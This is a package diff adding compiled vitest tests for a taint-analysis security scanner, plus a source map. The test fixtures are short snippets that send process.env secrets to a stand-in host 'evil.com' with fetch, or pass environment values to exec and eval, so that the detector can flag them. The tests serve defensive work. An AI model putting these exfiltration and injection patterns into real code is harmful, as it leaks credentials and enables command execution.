acidtest 0.7.0 → 1.0.0

package/dist/analysis/dataflow.test.js

@@ -0,0 +1,257 @@
+/**
+ * Tests for dataflow/taint analysis
+ *
+ * Phase 3.1: Dataflow Implementation
+ */
+import { describe, it, expect } from 'vitest';
+import * as ts from 'typescript';
+import { buildDataFlowGraph } from './dataflow-graph.js';
+import { propagateTaint, findTaintPaths, extractTaintSources, extractTaintSinks, } from './taint-propagation.js';
+describe('Dataflow Graph Construction', () => {
+    it('should detect process.env as taint source', () => {
+        const code = `
+      const apiKey = process.env.API_KEY;
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        expect(sources.length).toBeGreaterThan(0);
+        expect(sources[0].type).toBe('env-var');
+    });
+    it('should detect exec as taint sink', () => {
+        const code = `
+      import { exec } from 'child_process';
+      exec('ls');
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sinks = extractTaintSinks(graph);
+        expect(sinks.length).toBeGreaterThan(0);
+        expect(sinks[0].type).toBe('command-execution');
+    });
+    it('should detect eval as taint sink', () => {
+        const code = `
+      eval('console.log("test")');
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sinks = extractTaintSinks(graph);
+        expect(sinks.length).toBeGreaterThan(0);
+        expect(sinks[0].type).toBe('code-evaluation');
+    });
+    it('should detect fetch as taint sink', () => {
+        const code = `
+      fetch('https://example.com', { method: 'POST', body: data });
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sinks = extractTaintSinks(graph);
+        expect(sinks.length).toBeGreaterThan(0);
+        expect(sinks[0].type).toBe('network-request');
+    });
+    it('should create dataflow edge for assignment', () => {
+        const code = `
+      const a = process.env.KEY;
+      const b = a;
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        expect(graph.edges.length).toBeGreaterThan(0);
+        expect(graph.edges.some((e) => e.type === 'assignment')).toBe(true);
+    });
+});
+describe('Taint Propagation', () => {
+    it('should propagate taint through direct assignment', () => {
+        const code = `
+      const secret = process.env.SECRET;
+      const copy = secret;
+      exec(copy);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const tainted = propagateTaint(graph, sources);
+        // Should have at least 3 tainted nodes: source, secret, copy
+        expect(tainted.size).toBeGreaterThanOrEqual(2);
+    });
+    it('should propagate taint through assignment chain', () => {
+        const code = `
+      const a = process.env.KEY;
+      const b = a;
+      const c = b;
+      exec(c);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const tainted = propagateTaint(graph, sources);
+        // Should have at least 4 tainted nodes: source, a, b, c
+        expect(tainted.size).toBeGreaterThanOrEqual(3);
+    });
+    it('should propagate taint through property assignment', () => {
+        const code = `
+      const config = {};
+      config.apiKey = process.env.KEY;
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const tainted = propagateTaint(graph, sources);
+        expect(tainted.size).toBeGreaterThan(0);
+    });
+    it('should propagate taint through template literals', () => {
+        const code = `
+      const key = process.env.KEY;
+      const url = \`https://evil.com?key=\${key}\`;
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const tainted = propagateTaint(graph, sources);
+        expect(tainted.size).toBeGreaterThan(0);
+    });
+    it('should propagate taint through object construction', () => {
+        const code = `
+      const secret = process.env.TOKEN;
+      const obj = { key: secret };
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const tainted = propagateTaint(graph, sources);
+        expect(tainted.size).toBeGreaterThan(0);
+    });
+});
+describe('Taint Path Detection', () => {
+    it('should detect direct taint flow: env var → exec', () => {
+        const code = `
+      const cmd = process.env.COMMAND;
+      exec(cmd);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        const tainted = propagateTaint(graph, sources);
+        const paths = findTaintPaths(graph, sources, sinks, tainted);
+        expect(paths.length).toBeGreaterThan(0);
+        expect(paths[0].severity).toBe('CRITICAL');
+    });
+    it('should detect taint flow: env var → eval', () => {
+        const code = `
+      const code = process.env.CODE;
+      eval(code);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        const tainted = propagateTaint(graph, sources);
+        const paths = findTaintPaths(graph, sources, sinks, tainted);
+        expect(paths.length).toBeGreaterThan(0);
+        expect(paths[0].severity).toBe('CRITICAL');
+    });
+    it('should detect taint flow: env var → fetch (exfiltration)', () => {
+        const code = `
+      const apiKey = process.env.API_KEY;
+      fetch('https://evil.com', { body: apiKey });
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        const tainted = propagateTaint(graph, sources);
+        const paths = findTaintPaths(graph, sources, sinks, tainted);
+        expect(paths.length).toBeGreaterThan(0);
+        expect(paths[0].severity).toBe('CRITICAL');
+    });
+    it('should detect multi-step taint flow', () => {
+        const code = `
+      const secret = process.env.SECRET;
+      const config = { key: secret };
+      const data = config.key;
+      fetch('https://evil.com', { body: data });
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        const tainted = propagateTaint(graph, sources);
+        const paths = findTaintPaths(graph, sources, sinks, tainted);
+        expect(paths.length).toBeGreaterThan(0);
+        expect(paths[0].path.length).toBeGreaterThan(2); // Multi-step
+    });
+    it('should calculate high confidence for short paths', () => {
+        const code = `
+      const key = process.env.KEY;
+      exec(key);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        const tainted = propagateTaint(graph, sources);
+        const paths = findTaintPaths(graph, sources, sinks, tainted);
+        expect(paths.length).toBeGreaterThan(0);
+        expect(paths[0].confidence).toBe('high');
+    });
+    it('should not detect paths when sink is not reachable', () => {
+        const code = `
+      const safe = 'safe-value';
+      const dangerous = process.env.KEY;
+      exec(safe);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        const tainted = propagateTaint(graph, sources);
+        const paths = findTaintPaths(graph, sources, sinks, tainted);
+        // Should not find path since exec uses 'safe', not 'dangerous'
+        expect(paths.length).toBe(0);
+    });
+});
+describe('Edge Cases', () => {
+    it('should handle code with no sources', () => {
+        const code = `
+      const safe = 'safe';
+      exec(safe);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        expect(sources.length).toBe(0);
+    });
+    it('should handle code with no sinks', () => {
+        const code = `
+      const apiKey = process.env.API_KEY;
+      console.log('Using key');
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sinks = extractTaintSinks(graph);
+        expect(sinks.length).toBe(0);
+    });
+    it('should handle empty code', () => {
+        const code = ``;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        expect(graph.nodes.length).toBe(0);
+        expect(graph.edges.length).toBe(0);
+    });
+    it('should handle multiple sources and sinks', () => {
+        const code = `
+      const key1 = process.env.KEY1;
+      const key2 = process.env.KEY2;
+      exec(key1);
+      eval(key2);
+    `;
+        const sourceFile = ts.createSourceFile('test.ts', code, ts.ScriptTarget.Latest, true);
+        const graph = buildDataFlowGraph(sourceFile);
+        const sources = extractTaintSources(graph);
+        const sinks = extractTaintSinks(graph);
+        expect(sources.length).toBeGreaterThanOrEqual(2);
+        expect(sinks.length).toBeGreaterThanOrEqual(2);
+    });
+});
+//# sourceMappingURL=dataflow.test.js.map

package/dist/analysis/dataflow.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"dataflow.test.js","sourceRoot":"","sources":["../../src/analysis/dataflow.test.ts"],"names":[],"mappings":"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"}

package/dist/analysis/taint-propagation.d.ts

@@ -0,0 +1,30 @@
+/**
+ * Taint Propagation using Worklist Algorithm
+ *
+ * Propagates taint from sources through the dataflow graph:
+ * 1. Initialize worklist with all source nodes
+ * 2. For each node in worklist, mark all successors as tainted
